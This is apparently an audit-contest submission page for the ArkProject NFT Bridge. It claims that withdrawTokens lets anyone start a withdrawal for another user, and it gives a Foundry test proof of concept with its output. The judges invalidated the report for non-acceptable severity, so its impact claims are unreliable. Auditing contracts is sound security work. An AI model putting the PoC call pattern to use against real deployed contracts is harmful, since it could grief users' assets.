ArkProject: NFT Bridge
ArkProject
NFTBridge
60,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Unauthorized Token Withdrawal Initiation Vulnerability

salem

Summary

The withdrawTokens function in the provided smart contract contains a critical vulnerability that allows any user to withdraw tokens on behalf of the legitimate owner. This vulnerability stems from the lack of authentication checks, specifically the absence of verification that the msg.sender is the same as req.ownerL1 (the legitimate owner of the tokens).

https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.solhttps://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L153

Vulnerability Details

The function withdrawTokens does not verify that the caller (msg.sender) is the legitimate owner of the tokens (req.ownerL1).

  • Anyone can initiate the withdrawal process by calling this function with a crafted request.

  • Tokens are correctly transferred to req.ownerL1, but the initiation of this process is not restricted.

PoC

// Test a withdraw STARKNET that will trigger the deploy of a new collection on L1.'0x800000000000011000000000000000000000000000000000000000000000001'
function test_withdrawTokensERC721StarknetWithdrawDeploy() public {
// Build the request and compute it's "would be" message hash.
>> address attacker = address(0x1); // attacker calls on behalf of bob @audit
vm.startPrank(attacker);
felt252 header = Protocol.requestHeaderV1(CollectionType.ERC721, false, false);
Request memory req = buildRequestDeploy(header, 888, bob);
uint256[] memory reqSerialized = Protocol.requestSerialize(req);
bytes32 msgHash = computeMessageHashFromL2(reqSerialized);
​
// The message must be simulated to come from starknet verifier contract
// on L1 and pushed to starknet core.
uint256[] memory hashes = new uint256[](1);
hashes[0] = uint256(msgHash);
IStarknetMessagingLocal(snCore).addMessageHashesFromL2(hashes);
address collection = IStarklane(bridge).withdrawTokens(reqSerialized);
​
// TODO: add verification of event emission.
​
assertEq(IERC721(collection).ownerOf(888), bob);
​
// Error message from Starknet Core expected.
vm.expectRevert(bytes("INVALID_MESSAGE_TO_CONSUME"));
IStarklane(bridge).withdrawTokens(reqSerialized);
​
vm.stopPrank();
}
​

Run

forge test --match-test test_withdrawTokensERC721StarknetWithdrawDeploy
[⠒] Compiling...
[⠒] Compiling 3 files with Solc 0.8.26
[⠒] Solc 0.8.26 finished in 15.79s
Compiler run successful
​
Ran 3 tests for test/Bridge.t.sol:BridgeTest
[PASS] test_withdrawTokensERC721StarknetWithdrawDeploy() (gas: 2158724)
[PASS] test_withdrawTokensERC721StarknetWithdrawDeployDifferentCollection() (gas: 4252062)
[PASS] test_withdrawTokensERC721StarknetWithdrawDeploySameCollection() (gas: 2250117)
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.44s (621.38ms CPU time)
​

Impact

Denial of Service: An attacker can repeatedly initiate withdrawals for other users' tokens, potentially locking them in an unwanted state or causing excessive gas fees.

An attacker could force users' tokens back to L1 against their will.

  • Impact: Users relying on L2 for lower fees or faster transactions suddenly find their assets moved, potentially missing out on L2-specific opportunities or incurring unexpected L1 gas costs.

Tools Used

Manual Review

Recommendations

Implement strict authentication checks in the withdrawTokens function. Add a requirement that msg.sender must be equal to req.ownerL1.

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

salem Submitter
10 months ago
salem Submitter
10 months ago
n0kto Lead Judge
10 months ago
salem Submitter
10 months ago
salem Submitter
10 months ago
n0kto Lead Judge
10 months ago
n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.